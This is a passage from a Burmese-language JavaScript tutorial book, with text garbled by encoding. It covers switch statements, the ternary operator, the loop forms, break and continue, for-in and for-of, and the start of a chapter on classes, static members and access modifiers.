    break

}

 
case တိုင်းမှာ break ကြေတွလုိက်ထည့်ကြေပးလုိက်တာပါ။ ဒါကြေeကာင့် case တစ်ခုနဲက့ိုက်ညီလုိ့ အလုပ်လုပ်
ပြပီးတာနဲ့ break နဲ့ Block ထဲကကြေန gပန်ထွက်သွားမှာgoစ်လုိ့ သူ့ကြေအာက်က မဆိုင်တဲ့ case ကြေတွကို ဆက်
လုပ်ကြေတာ့မှာ မဟုတ်ပါyူး။

အကယ်၍  case ကြေတွတစ်ခုမှ  Expression  ရဲ့  ရလဒ်နဲ့မကိုက်ရင်  yယ်လုိလုပ်မလဲ။  default
Statement  ကိုသုံးနိုင်ပါတယ်။  case ကြေတွတစ်ခုမှ မကိုက်ရင်  switch က default ကို အလုပ်လုပ်
ကြေပးသွားမှာပါ။

 JavaScript 

switch (2 - 3) {
    case 1: // skip this statement
    case 2: // skip this statement
    default: // do this statement
}

နမူနာအရ  Expression  ရလဒ်ဟာ  -1  goစ်ကြေနလုိ့  case  1  နဲ့  2  နှစ်ခုလံုးနဲ့  မကိုက်ပါyူး။  ဒါကြေeကာင့်
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default ကို  အလုပ်လုပ်သွားမှာ  goစ်ပါတယ်။  ကြေစာကြေစာက အကြေပါ်မှာကြေပးခဲ့တဲ့  နမူနာကို  ဒီ  switch
Statement နဲလ့ည်း ကြေရးလုိရ့နိုင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 

let result = people.map(function(person) {
    switch(person.gender) {

    case "m":
    case "M":
        person.gender = "Male"
        break
    case "f":
    case "F":
        person.gender = "Female"
        break
    default:
        person.gender = "Unknown"

    }

    return person
})

အကယ်၍ person.gender ဟာ m goစ်ကြေနရင်  case "m" ကို အလုပ်လုပ်သွားပါလိမ့်မယ်။  case
"m" မှာ နမူနာအရ yာ Statement မှမရှိပါyူး။ ဒါကြေပမယ့် break လည်းမပါလုိ့ ဆက်အလုပ်လုပ်သွား
မှာ  goစ်လုိ့  case "M" ကိုကြေရာက်သွားပါလိမ့်မယ်။  တန်oုိးကို  Male  လုိသ့တ်မှတ်ပြပီးကြေနာက်မှာကြေတာ့
break ရှိကြေနလုိ့ ရပ်သွားမှာ goစ်ပါတယ်။ f နဲ့ F ကိုလည်း အလားတူပဲ ကြေရးထားပါတယ်။ တစ်ခုမှ ကိုက်ညီမှု
မရှိyူးဆိုကြေတာ့မှ ကြေနာက်ဆံုးမှာ default ကို အလုပ်လုပ်သွားမှာပဲ goစ်ပါတယ်။

Condition Expression
If Statement  တို့  Switch Statement  တိုန့ဲ့  အကြေgခအကြေနကြေပါ်မူတည်ပြပီး အလုပ်လုပ်တဲ့  Statement  ကြေတွ
သတ်မှတ်နိုင်သလုိ  Expression  ကြေတွကိုလည်း  အကြေgခအကြေနကြေပါ်မူတည်ပြပီး  အလုပ်လုပ်တဲ့  Conditional
Expression goစ်ကြေအာင် ကြေရးလုိ့ပါတယ်။ Ternary Operator လုိ့ကြေခါ်တဲ့ Operator ကိုသုံးရပါတယ်။ 
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ဒီလုိပါ – 

 Pseudocode 

Condition ? Do-this-if-true : Do-this-if-false

Condition  ရဲ့ကြေနာက်မှာ  Question  Mark  သကြေက[တလုိက်ရပြပီး  Condition  က  true  goစ်ရင်  Question
Mark ကြေနာက်က Expression ကို အလုပ်လုပ်မှာပါ။ သူ့ကြေနာက်က Full-Colon ဆက်လုိက်ရပြပီး Condition
က false goစ်ခဲ့ရင်ကြေတာ့ Full-Colon ကြေနာက်က Expression ကို လုပ်မှာgoစ်ပါတယ်။

 JavaScript 

let user = { name: "Bob", age: 17 }
let status = user.age >= 18 ? "Authorized" : "Unauthorized"

နမူနာအရ status အတွက်တန်oုိး  "Unauthorized"  goစ်မှာပါ။  Condition  က user.age >= 18
ဆိုကြေတာ့  false  goစ်ကြေနပါတယ်။  user.age က 17  goစ်ကြေနလုိပ့ါ။ ဒါကြေeကာင့်  Question Mark  ကြေနာက်က
အလုပ်ကို မလုပ်ကြေတာ့yဲ  Full-colon  ကြေနာက်ကအလုပ်ကို လုပ်သွားတဲ့အတွက်  status ရဲ့တန်oုိးအgoစ်
Unauthorized ကို Assign လုပ်သွားမှာပဲ goစ်ပါတယ်။

Loops
တစ်ချ ို ့တူညီတဲ့  Statement  ကြေတွကို  အကြကိမ်ကြကိမ်အလုပ်လုပ်oုိ့  လုိအပ်တာမျ ို းကြေတွ  ရှိနိုင်ပါတယ်။
Statement တစ်ခုကို (၁၀) ကြကိမ်အလုပ်လုပ်ကြေစချင်လုိ့ (၁၀) ခါကြေရးစရာ မလုိပါyူး။ Loop ကြေရးထုံးကြေတွရှိပါ
တယ်။ ဒီ Statement ကို (၁၀) ခါလုပ်လုိက်ပါ လုိ့ ညွှန်eကားလုိက်လုိ့ ရနိုင်ပါတယ်။ JavaScript မှာ Loop
ကြေရးထုံးအမျ ို းမျ ို း ရှိပါတယ်။ ပထမဆံုးတစ်ခုအကြေနနဲ ့while Loop ကို eကည့်ချင်ပါတယ်။ 

while Loop  အတွက် ဝုိက်ကွင်းအoွင့်အပိတ်ထဲမှာ  Condition  ကို  ကြေပးရပါတယ်။ အ့ဲဒီ  Condition  က
true goစ်ကြေနသကြေရွ့ Statement ကြေတွကို အကြကိမ်ကြကိမ် အလုပ်လုပ်ကြေပးမှာ goစ်ပါတယ်။
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 JavaScript 

let count = 0

while(count < 3) {
    console.log(count)
    count++
}

// 0
// 1
// 2

နမူနာအရ count တန်oုိးဟာ မူလ 0 goစ်ပါတယ်။ while Loop အတွက် Condition က count < 3
goစ်တဲ့အတွက် မှန်ပါတယ်။ ဒါကြေeကာင့် သတ်မှတ်ထားတဲ့  Statement  ကြေတွကို အလုပ်လုပ်သွားမှာပါ။ အ့ဲဒီ
လုိ အလုပ်လုပ်တဲ့အခါ count တန်oုိးကို 1 တိုးထားလုိ့ တစ်ကြကိမ် အလုပ်လုပ်ပြပီးတိုင်း count တန်oုိးလုိက်
တိုး သွားမှာပါ။ သံုးကြကိမ်အလုပ်လုပ်ပြပီးလုိ့  count တန်oုိး  3  goစ်သွားတဲ့အခါ  count < 3 Condition
က မမှန်ကြေတာ့ပါyူး  count ဟာ  3  ထက်ငယ်လားလုိ့  စစ်ထားတာပါ။  မငယ်ကြေတာ့yူးကြေလ။ ဒါကြေeကာင့်
ဆက်အလုပ် မလုပ်ကြေတာ့yဲ ရပ်သွားမှာ goစ်ပါတယ်။

do-while Loop လည်းရှိပါကြေသးတယ်။ while Loop နဲ ့သကြေyာသyာဝ ဆင်တူပါပဲ။

 JavaScript 

let count = 0

do {
    console.log(count)
    count++
} while(count < 3)

// 0
// 1
// 2

do Keyword ရဲ့ကြေနာက်မှာ ကုဒ် Block လုိက်ပြပီးကြေတာ့မှ while Condition က ကြေနာက်ဆံုးကလုိက်တာပါ။
အခုချနိ်မှာ ရလဒ်ကြေgပာင်းမှာ မဟုတ်ပါyူး။ ကြေရးထုံးကွဲသွားကြေပမယ့် ရုိးရုိး  while Loop နဲ့ တူညီတဲ့ ရလဒ်
ကိုပဲ ရမှာပါ။ သကြေyာသyာဝ ထူးgခားချက်ကိုသာ သတိgပုရမှာပါ။  while Loop  က Condition  အရင်
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စစ်ပြပီးမှ အလုပ်လုပ်ပါ။  do-while Loop  ကကြေတာ့ အလုပ်လုပ်ပြပီးမှ  Condition  စစ်ပါတယ်။ ဒါကြေeကာင့်
do-while   Loop    မှာ    Condition    မှန်သည်goစ်ကြေစ  မမှန်သည်goစ်ကြေစ  တစ်ကြကိမ်ကြေတာ့ ကြကိမ်းကြေသအလုပ်  

လုပ်မှာ goစ်ပါတယ်။ ပထမဆံုးအကြကိမ် Condition မစစ်ခင်လုပ်လုိက်တဲ့ အလုပ်တစ်ခု ရှိကြေနမှာ မုိလုိ့ပ့ါ။ ဒီ
လုိပါ။

 JavaScript 

let count = 5

do {
    console.log(count)
    count++
} while(count < 3)

// 5

count တန်oုိး  5  goစ်တဲ့အတွက်  count < 3 Condition  ကမှားကြေနပါတယ်။  ဒါကြေပမယ့်  တစ်ကြကိမ်
အလုပ်လုပ်သွားလုိ့ 5 ဆိုတဲ့ကြေoာ်gပချက်တစ်ခု ရှိကြေနမှာပဲ goစ်ပါတယ်။

ကြေနာက်ထပ်  Loop  ကြေရးထုံးတစ်ခုကကြေတာ့  for Loop  goစ်ပါတယ်။  for Keyword  ကြေနာက်မှာ ဝုိက်ကွင်း
အoွင့်အပိတ်နဲအ့တူ Expression (၃) ခုလုိက်ရပါတယ်။

• ပထမဆံုး Expression ကို Loop မစခင်တစ်ကြကိမ် အလုပ်လုပ်ပါတယ်။
• ဒုတိယ  Expression  ကို  Condition  အကြေနနဲစ့စ်ပြပီး  true  goစ်ကြေနသ၍  သတ်မှတ်ထားတဲ့

Statement ကြေတွကို ထပ်ခါထပ်ခါ အလုပ်လုပ်မှာ goစ်ပါတယ်။
• တတိယ Expression ကို တစ်ကြကိမ်ပြပီးတိုင်း တစ်ခါအလုပ်လုပ်ပါတယ်။

ဒါကြေeကာင့် ကြေစာကြေစာက  while တို့  do-while တိုန့ဲ့ကြေရးထားတဲ့  Loop  နဲ့  တူညီတဲ့ရလဒ်မျ ို းရoုိအ့တွက်
အခုလုိ ကြေရးနိုင်ပါတယ်။
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 JavaScript 

for(let count=0; count < 3; count++) {
    console.log(count)
}

// 0
// 1
// 2

Expression  တစ်ခုနဲတ့စ်ခုကို  Semicolon  နဲ့  ပုိင်းgခားကြေပးရပါတယ်။  ကြေရှ့ဆံုးမှာ  let count=0 လုိ့
ကြေgပာထားတဲ့အတွက်  count Variable  တစ်ခုကြေeကညာပြပီး တန်oုိးကို  0  လုိသ့တ်မှတ်ကြေပးလုိက်မှာပါ။ တစ်
ကြကိမ်ပဲ အလုပ်လုပ်မယ့်  Expression  goစ်ပါတယ်။ ဒုတိယ Expression  ကို  Condition  အကြေနနဲ့ စစ်eကည့်
လုိက်တဲ့အခါ  count < 3 က  true  goစ်ကြေနတဲ့အတွက် သတ်မှတ်ထားတဲ့  Statement  ကို  အလုပ်လုပ်
လုိက်ပါတယ်။ ပြပီးတဲ့အခါ for ရဲ့ တတိယ Expression ကိုအလုပ်လုပ်လုိက်တဲ့အတွက် count တန်oုိး 1
တိုးသွားပါတယ်။  Condition  စစ်eကည့်တဲ့အခါ  count < 3 က  true  goစ်ကြေနကြေသးတဲ့အတွက်  ဆက်
အလုပ်လုပ်ပါတယ်။ 

while Loop မှာ Variable ကြေeကညာတဲ့ကိစ္စကြေတွ၊ တစ်ကြကိမ်အလုပ်လုပ်ပြပီးတိုင်း 1 တိုးတဲ့ကိစ္စကြေတွကို ကိုယ့်
အစီအစဉ်နဲက့ိုယ် ကြေရးကြေပးရပါတယ်။ for Loop မှာတို့ အ့ဲဒီလုိ ပထမဆံုးအကြကိမ် ကြေeကညာတဲ့အလုပ်နဲ့ တစ်
ကြကိမ်ပြပီးတိုင်း  1  တိုတ့ဲ့အလုပ်တို့အတွက်  ကြေရးထုံးအရ  သတ်မှတ်ထားပြပီးgoစ်ကြေနလုိ့  သူသတ်မှတ်ထားတဲ့
အတိုင်း တစ်ခါထဲ ကြေရးလုိရ့သွားပါတယ်။ ဆိုလုိတာက while Loop မှာ 1 တိုးကြေပးoုိ့ ကြေမ့သွားလုိ့ Loop က
yယ်ကြေတာ့မှ  Infinite  Loop  goစ်ကြေအာင်  ကြေရးမိသွားတယ်ဆိုတဲ့  အမှားမျ ို း  အစပုိင်းမှာ  ကြကံုရနိုင်ပါတယ်။
for Loop မှာကြေတာ့ အ့ဲဒီလုိအမှားမျ ို း goစ်နိုင်ကြေgခ နည်းသွားပါတယ်။

လက်ကြေတွ့မှာ ကိုယ့်လုိအပ်ချက်နဲ့ ကိုက်ညီတဲ့ Loop အမျ ို းအစားကို သံုးနိုင်ပါတယ်။ တစ်ကြကိမ်ပြပီးရင် 1 တိုး
တာကြေတာ့  အသုံးများတဲ့  ထံုးစံလုိgoစ်ကြေနကြေပမယ့်  အပြမဲတမ်း  1  ပဲတိုးရမယ်ဆိုတာမျ ို း  မရှိပါyူး။  ကိုယ့်
လုိအပ်ချက်နဲ့ ကိုက်ညီကြေအာင် ကြေရးလုိရ့ပါတယ်။

Loop ကြေတွနဲအ့တူ တွဲသံုးကြေလ့ရှိတဲ့ Statement နှစ်ခု ရှိပါကြေသးတယ်။ break နဲ့  continue ပါ။ break
ကို  အကြေeကာင်းအမျ ို းမျ ို းကြေeကာင့်  Loop  ကို  ရပ်လုိက်ကြေစလုိတဲ့အခါ သုံးနိုင်ပါတယ်။  continue ကိုကြေတာ့
Loop လုပ်ရင် တစ်ချ ို ့အဆင့်ကြေတွ ကြေကျာ်ပြပီး ဆက်လုပ်သွားကြေစချင်တဲ့အခါ သံုးeကပါတယ်။
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 JavaScript 

let nums = [11, 22, -1 , 44]

for(let i=0; i < nums.length; i++) {
    if(nums[i] < 0) break
    console.log(nums[i])
}

// 11
// 22

နမူနာကုဒ်အရ စစချင်း Variable i ရဲ့တန်oုိး 0 goစ်ပြပီး i ရဲ့တန်oုိးက nums.length ထက် ငယ်ကြေနသ၍
အလုပ်လုပ်မှာပါ။ nums Array မှာ Index (၄) ခုရှိတဲ့အတွက် nums.length တန်oုိး 4 goစ်မှာပါ။ ပံုမှန်
အတိုင်းဆိုရင် Index  0 ကကြေန Index 3 ထိ တန်oုိးကြေတွကို တစ်ခုပြပီးတစ်ခု အစအဆံုး အကုန်ကြေoာ်gပသွားမှာ
goစ်ပါတယ်။ 

ဒါကြေပမယ့်  if Condition  နဲ့  အကယ်၍လက်ရှိ  Index  တန်oုိး  0  ထက်ငယ်ရင်  break နဲထွ့က်လုိက်oုိ့
ကြေgပာထားတဲ့အတွက် ကျန်တဲ့အလုပ်ကြေတွ ဆက်မလုပ်ကြေတာ့yဲ  -1  တန်oုိးရှိကြေနတဲ့  Index  အကြေရာက်မှာ ရပ်
သွားတာပဲgoစ်ပါတယ်။

 JavaScript 

let nums = [11, 22, -1 , 44]

for(let i=0; i < nums.length; i++) {
    if(nums[i] < 0) continue
    console.log(nums[i])
}

// 11
// 22
// 44

ဒီတစ်ခါကြေတာ့  break မလုပ်ကြေတာ့ပါyူး။  continue လုပ်ထားပါတယ်။ ဒါကြေeကာင့်  0  ထက်ငယ်တဲ့  -1
တန်oုိးရှိကြေနတဲ့အဆင့်ကို တစ်ဆင့်ကြေကျာ်လုိက်ပြပီး ကျန်အလုပ်ကြေတွကို ပြပီးဆံုးတဲ့အထိ ဆက်လုပ်သွားတာကို
ကြေတွ့ ရမှာ goစ်ပါတယ်။
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Looping Objects & Arrays
Array  ကြေတွစီမံoုိအ့တွက်  map,  filter,  reduce  တိုလုိ့  Method  ကြေတရွှိပြပီးgoစ်ပါတယ်။  ဒါကြေပမယ့်  အ့ဲဒီ
Method  ကြေတွက Objects  ကြေတွအတွက်သံုးလုိ့ မရပါyူး။  Object  ကြေတွကို  Loop  လုပ်oုိအ့တွက်  for-in
Loop ကိုသုံးနိုင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 

let user = { name: "Bob", age: 22, gender: "Male" }

for(p in user) {
    console.log(`${p} is ${user[p]}`)
}

// name is Bob
// age is 22
// gender is Male

Object  ထဲမှာ ရှိသမျှအကုန်  အစကကြေနအဆုံး  Loop  လုပ်ကြေပးသွားမှာပါ။  yယ်ကစမယ်၊ yယ်မှဆံုးမယ်၊
တစတ်ိုးမယ်ကြေတွ ကြေgပာစရာမလုိပါyူး။  p  ကြေနရာမှာ နှစ်သက်ရာ  Variable  အမည်ကြေပးနိုင်ပါတယ်။ လက်ရှိ
ကြေရာက်ရှိကြေနတဲ့  Property က p ထဲမှာ ရှိကြေနမှာပါ။ ဒါကြေeကာင့် p ကို ကြေoာ်gပကြေစတဲ့အခါ Property ကိုကြေoာ်gပ
ပြပီး Object ရဲ့ p Index ကိုကြေoာ်gပကြေစတဲ့အခါ သက်ဆိုင်ရာတန်oုိးကို ရရှိgခင်းgoစ်ပါတယ်။

for-in Loop  ကို  ရုိးရုိး  Array  ကြေတွအတွက်လည်း အသံုးgပုနိုင်ပါတယ်။  Array  ကြေတွအတွက်  for-of
Loop ကိုလည်း အသုံးgပုနိုင်ပါတယ်။ ဒီလုိပါ –

 JavaScript 

let users = ["Alice", "Bob", "Tom", "Mary"]

for(u of users) {
    console.log(u)
}

// Alice
// Bob
// Tom
// Mary
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Array  ရဲ့အစကကြေန အဆံုးထိ  အလုိအကြေလျှာက်  အလုပ်လုပ်သွားတာပါ။  yယ်ကစမယ်၊  yယ်မှာဆံုးမယ်၊
တစ်ကြကိမ်မှာတစ်တိုးရမယ်  စသည်goင့်  ကြေgပာကြေနစရာ  မလုိကြေတာ့လုိ့  အများကြကီးပုိရှင်းပါတယ်။  for-of
Loop ကို  Iterable Object ကြေတွအတွက်ပဲသုံးလုိရ့ပါတယ်။ ရုိးရုိး  Object ကြေတွအတွက် မရပါyူး။ Object-
Oriented Programming  မှာ  Interface  လုိ့ကြေခါ်တဲ့  သကြေyာသyာဝ ရှိပါတယ်။  Protocol  လုိလ့ည်းကြေခါ်
eကပါတယ်။  အ့ဲဒီ  Interface/Protocol  က  Object  တည်ကြေဆာက်တဲ့အခါ  လုိက်နာရမည့်  စည်းမျဉ်းကြေတွ
သတ်မှတ်နိုင်တဲ့ နည်းစနစ်တစ်မျ ို းပါ။  Iterable Object ဆိုတာ Iterable Protocol  က သတ်မှတ်ထားတဲ့
သတ်မှတ်ချက်နဲအ့ညီ  တည်ကြေဆာက်ထားတဲ့  Object  ကြေတွကိုကြေgပာတာပါ။  လက်ရှိကြေလ့လာထားတဲ့ထဲက
Array နဲ့ String တိုဟ့ာ Iterable Protocol သတ်မှတ်ချက်နဲအ့ညီ oန်တီးကြေပးထားတဲ့ Object ကြေတွgoစ်eက
ပါတယ်။ ဒါကြေeကာင့် Array ကြေတွ String ကြေတွကို  for-of နဲ့  Loop လုပ်နိုင်ပြပီး ရုိးရုိး  Object ကြေတွအတွက်
လုိအပ်ရင် for-in ကို အသုံးgပုရမှာပဲgoစ်ပါတယ်။

ဒီစာအုပ်မှာ  Interface/Protocol  အဆင့်ထိ  ထည့်သွင်းကြေoာ်gပနိုင်မှာ  မဟုတ်ကြေပမယ့်  Object-Oriented
Programming  ရဲ့အကြေgခခံ  သကြေyာသyာဝကြေတွကိုကြေတာ့  ဆက်လက်ထည့်သွင်း  ကြေoာ်gပသွားမှာ  goစ်ပါ
တယ်။
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အခန်း (၁၈) – JavaScript OOP – Object-Oriented Programming

Object ဆိုတာဟာ ကိုယ်ပုိင် အချက်အလက် (Property) နဲ့ ကိုယ်ပုိင် လုပ်ကြေဆာင်ချက် (Method) ကြေတွ စု
oဲွ့ပါဝင်တဲ့  အရာတစ်ခုပါ။  ဒီသကြေyာသyာဝကို  ကြေရှ့ပုိင်းမှာ  ကြေတွ့gမင်ခဲ့eကပြပီး  goစ်ပါတယ်။  Object
Oriented Programming (OOP) ဆိုတာကကြေတာ့ ကုဒ်ကြေတွကြေရးတဲ့အခါ  ဒီ  Object  ကြေတွကြေပါ်မှာ  အကြေgခခံ
အလုပ်လုပ်ကြေစoုိ ့စုoဲွ့ကြေရးသားတဲ့ ကြေရးနည်းကြေရးဟန်ပဲ goစ်ပါတယ်။

ကုဒ်ကြေတွကို အစီအစဉ်အတိုင်း အလုပ်လုပ်ကြေစတဲ့ ကြေရးနည်းကြေရးဟန်ကို Imperative Programming လုိ့ကြေခါ်
eကပါတယ်။  ကွန်ပျူတာကို  တစ်ဆင့်ချင်းစီ  အမိန့်ကြေပးကြေစခိုင်းတဲ့  ကြေရးဟန်မုိ့လုိပ့ါ။  Procedure  ကြေတွ
Function ကြေတွ ပါဝင်လာပြပီဆိုရင်ကြေတာ့ Procedural Programming လုိ့ကြေခါ်eကပါတယ်။ Procedure ကြေတွ
Function ကြေတွကို လုိအပ်သလုိ ကြေပါင်းစပ်အသုံးချgခင်းအားgoင့် အလုပ်လုပ်ကြေစတဲ့ ကြေရးဟန်goစ်ပါတယ်။

Functional  Programming ဆိုတာလည်း  ရှိပါကြေသးတယ်။  Pure  Function  ကြေတွကို  စုoဲွ့ကြေပါင်းစပ်ပြပီး
အလုပ်လုပ်ကြေစgခင်းအားgoင့်  ပရုိင်္ဂရမ်ကို  oဲွ့စည်းတည်ကြေဆာက်ရတဲ့  ကြေရးဟန်ပါ။  Pure  Function  ဆိုတာ
ရုိးရုိး  Function  နဲ့  မတူပါyူး။ သူ့မှာ ထူးgခားတဲ့  ဝိကြေသသ (၂)  ရပ်ရှိပါတယ်။  Function  တစ်ခုကို ကြေခါ်ယူ
လုိက်တဲ့အခါ ကြေပးလုိက်တဲ့  Argument တူလုိ့ gပန်ရတဲ့ရလဒ် အပြမဲတမ်းတူတယ်ဆိုရင်  Pure Function လုိ့
ကြေခါ်ပါတယ်။  Function  တစ်ခုကို  အလုပ်လုပ်ကြေစလုိက်လုိ့  မူလတန်oုိးကြေတွကို  ကြေgပာင်းလဲကြေစတယ်ဆိုရင်
Side-Effect ရှတိယ်၊ ကြေyးထွက်ရလဒ်ရှိတယ်လုိ့ ဆိုပါတယ်။ Pure Function ဆိုတာ အ့ဲဒီလုိ Side-Effect
မရှိတဲ့ Function ကြေတွပါ။ 

ကြေရှ့ပုိင်းမှာ  ကြေလ့လာခဲ့တဲ့  လုပ်ကြေဆာင်ချက်တစ်ချ ို ့ကို  ဥပမာgပန်eကည့်နိုင်ပါတယ်။  push(), pop(),
splice() စတဲ့  Array Function  ကြေတွဟာ Impure Function  ကြေတွပါ။ ဒီ  Function  ကြေတွကြေeကာင့် မူလ
Array  မှာ  တန်oုိးကြေတွ  ကြေgပာင်းလဲသွားမှာမုိလုိ့့  goစ်ပါတယ်။  ဒီလုိကြေgပာင်းလဲကြေနတဲ့  အတွက်ကြေeကာင့်ပဲ  တစ်
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ကြကိမ်နဲတ့စ်ကြကိမ် gပန်ရမယ့် ရလဒ်လည်း တူမှာ မဟုတ်ပါyူး။ map(), filter(), reduce() စတဲ့
Function  ကြေတွကကြေတာ့  Pure  Function  ကြေတွပါ။  ဒီ  Function  ကြေတွက ရလဒ်အသစ်ကို  gပန်ကြေပးပါမယ်။
မူလ Array ကို ကြေgပာင်းလဲကြေစgခင်း မရှိပါyူး။ ဒါကြေeကာင့် yယ်နှစ်ကြကိမ် Run သည်goစ်ကြေစ တူညီတဲ့ရလဒ်ကိုပဲ
အပြမဲgပန်ရမှာပါ။ ဒါဟာသိရှိထားသင့်တဲ့ ဗဟုသုတgoစ်ပါတယ်။ ဒီသကြေyာသyာဝကို သိထားမှ မတူကွဲgပား
ကြေနတဲ့ အလုပ်လုပ်ပံုကို ပုံကြေoာ်eကည့်နိုင်မှာမုိလုိ့ပ့ါ။

JavaScript ရဲ့ထူးgခားချက်က အ့ဲဒီလုိ Imperative, Procedural, OOP, Function စသည်goင့် ရှိကြေနတဲ့ ကြေရး
ဟန်ကြေတွထဲက နှစ်သက်ရာ ကြေရးဟန်ကို အသုံးgပုနိုင်gခင်းgoစ်ပါတယ်။ yယ်နည်းနဲပဲ့ ကြေရးရမယ်လုိ့ ပံုကြေသက
န့်သတ်ထားgခင်း  မရှိလုိ့  ကြေရးသားသူက မိမိနှစ်သက်ရာ  နည်းလမ်းကို  အသံုးgပုနိုင်မှာgoစ်သလုိ၊  ဆန္ဒရှိရင်
လည်း ကြေရးဟန်အမျ ို းမျ ို းကို ကြေပါင်းစပ်အသုံးgပု ကြေရးသားနိုင်မှာပဲ goစ်ပါတယ်။

Classes & Objects
ကြေရှ့ပုိင်းမှာ  Object  တည်ကြေဆာက်ပုံနည်းလမ်းနှစ်မျ ို း  ကြေgပာခဲ့ပါတယ်။  Object  Constructor  ကို  အသုံးgပု
တည်ကြေဆာက်နိုင်သလုိ  Object  Literal  goစ်တဲ့  တွန့်ကွင်းအoွင့်အပိတ်နဲ့လည်း  တည်ကြေဆာက်နိုင်ပါတယ်။
အခုဆက်လက်  ကြေoာ်gပမယ့်  နည်းလမ်းကကြေတာ့  Class  ကြေရးထုံးကို  အသုံးgပုတည်ကြေဆာက်တဲ့  နည်းလမ်းပဲ
goစ်ပါတယ်။

Class    ဆိုတာ    Object  Template    လုိ့  ဆိုနိုင်ပါတယ်  ။  Object  တည်ကြေဆာက်လုိက်ရင်  ပါဝင်ရမယ့်
အချက်အလက်နဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို ကြကိုတင်သတ်မှတ်ကြေပးထားနိုင်တဲ့ နည်းလမ်းတစ်မျ ို းgoစ်ပါတယ်။
ဥပမာ ဒီလုိပါ –

 JavaScript 

class Car {
    color = "Red"
    wheels = 4
    drive() {
        console.log("This car is driving")
    }
}
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class Keyword ရဲ့ကြေနာက်မှာ Class အမည်လုိက်ရပြပီး သူ့ကြေနာက်ကကြေန Property ကြေတွ Method ကြေတွ စု
oဲွ့ပြပီး  လုိက်ရတာ  goစ်ပါတယ်။  ဒါဟာ  ကြေသချာကြေလ့လာeကည့်လုိက်ရင်  ရုိးရုိး  Object  Literal  အသုံးgပု
ကြေရးသားနည်းနဲ ့သိပ်မကွာလှပါyူး။

 JavaScript 

let car = {
    color: "Red",
    wheels: 4,
    drive() {
        console.log("The car is driving")
    }
}

အသုံးgပုတဲ့ သကြေက[တကြေတွနဲ့ ကြေရးထုံးကွဲgပားမှုပုိင်းကြေလးကြေတွ ရှိကြေနကြေပမယ့် အကြေတာ်ကြေလး ဆင်တူတာကို ကြေတွ့
ရပါလိမ့်မယ်။  မတူတာကကြေတာ့  Car  ဟာ  Class  တစ်ခုgoစ်ပြပီး  Object  မဟုတ်ကြေသးပါyူး။  လုိအပ်တဲ့
Object ကြေတွကို ဒီ Class ကိုအသုံးgပု တည်ကြေဆာက်ကြေပးရမှာပါ။ အခုလုိ တည်ကြေဆာက်နိုင်ပါတယ်။

 JavaScript 

let toyota = new Car

toyota ဟာ Car Class ကို အသုံးgပုတည်ကြေဆာက်လုိက်တဲ့  Object တစ်ခုgoစ်သွားပါပြပီ။ ဒါကြေeကာင့် Car
Class မှာ သတ်မှတ်ကြေပးထားတဲ့ Property ကြေတွ Method ကြေတွ ရှိကြေနမှာgoစ်ပါတယ်။

 JavaScript 

toyota.wheels    // 4
toyota.drive()    // The car is driving

Class ကကြေနတစ်ဆင့် Object တည်ကြေဆာက်ပြပီးမှ အသံုးgပုရတဲ့ သကြေyာပါ။ အ့ဲဒီလုိ Object တည်ကြေဆာက်
စရာ မလုိyဲ Class ကကြေန တိုက်ရုိက် အသံုးgပုလုိရင် သံုးလုိရ့တဲ့ ကြေရးနည်းရှိပါတယ်။ static Property နဲ့
static Method လုိ ့ကြေခါ်ပါတယ်။ ဒီလုိပါ။
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 JavaScript 

class Calculator {
    static PI = 3.14

    static add(a, b) {
        return a + b
    }
}

ဒီလုိ  static Property/Method ကြေတရွှိကြေနမယ်ဆိုရင်ကြေတာ့ Class  ကကြေနတစ်ဆင့် တိုက်ရုိက်အသံုးgပုလုိ့
ရနိုင်သွားပါတယ်။

 JavaScript 

Calculator.PI    // 3.14
Calculator.add(3, 4)    // 7

ဒီသကြေyာသyာဝကို  Access-Control Modifier  လုိ့ကြေခါ်ပြပီး  Property  ကြေတွ  Method  ကြေတွကို  yယ်နည်း
yယ်ပုံ  Access  လုပ်  အသုံးgပုခွင့်gပုမလဲဆိုတာကို  သတ်မှတ်နိုင်တဲ့  နည်းလမ်းကြေတွgoစ်ပါတယ်။  အများ
အားgoင့် ကြေတွ့ ရကြေလ့ရှိတဲ့ Access-Control Modifier ကြေတွကကြေတာ့ – 

• Public
• Private
• Protected
• Static 

– တို့goစ်ပါတယ်။ JavaScript Class တစ်ခုအတွင်းမှာ ကြေeကညာလုိက်တဲ့ Property ကြေတွ Method ကြေတဟွာ
Public သကြေyာသyာဝ ရှိeကပါတယ်။ Object ကကြေနတစ်ဆင့် အgပည့်အဝ အသုံးgပုခွင့် ကြေပးထားတယ်ဆို
တဲ့သကြေyာပါ။  Static  ရဲ့သကြေyာသyာဝကိုကြေတာ့ အခုပဲကြေgပာခဲ့ပြပီးပါပြပီ။  Class  အမည်ကကြေန အသုံးgပုခွင့်
ကြေပးထားပါတယ်။ Private ဆိုရင်ကြေတာ့ Object ကကြေနတစ်ဆင့် အသံုးgပုခွင့် မကြေပးကြေတာ့ပါyူး။ ကြေရးထားတဲ့
Class အတွင်းထဲမှာပဲ သုံးခွင့်ရှိပါကြေတာ့တယ်။
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တgခား  Language  အများစုမှာ  public, private စတဲ့  Keyword  ကြေတွကို  အသုံးgပုပြပီး  Access-
Control ကို သတ်မှတ်eကပါတယ်။ ဒီလုိပါ – 

 Pseudocode 

class Car {
    private hp = 150;
    public color = "Red";

    static info () {
        console.log(`Horse Power: ${this.hp}`);
    }
}

နမူနာက JavaScript ကုဒ်မဟုတ်ပါyူး။ သကြေyာသyာဝ ရှင်းgပချင်လုိ့ ကြေရးလုိက်တဲ့ Pseudocode ပါ။ နမူ
နာမှာ hp ကို  Private လုိ့ကြေgပာထားပါတယ်။ ဒါကြေeကာင့် gပင်ပကြေန တိုက်ရုိက်gပင်လုိ့ သုံးလုိ့ မရကြေတာ့ပါyူး။
သတ်မှတ်ထားတဲ့ နည်းလမ်းကကြေနသာ အသုံးgပုခွင့်ရှိကြေတာ့မှာပါ။ ဥပမာ - 

 Pseudocode 

let car = new Car();

car.hp = 200;    // Error: Cannot access private property
Car.info();    // Horse Power: 150

ဒီသကြေyာသyာဝကို    OOP    မှာ    Encapsulation    လုိ့ကြေခါ်ပါတယ်  ။  Object  တစ်ခုရဲ့  အကြေသးစိတ်
အချက်အလက်ကြေတွကို မဆိုင်သူ သိစရာမလုိyူး၊ ထိစရာမလုိyူး ဆိတုဲ့သကြေyာgoစ်ပါတယ်။

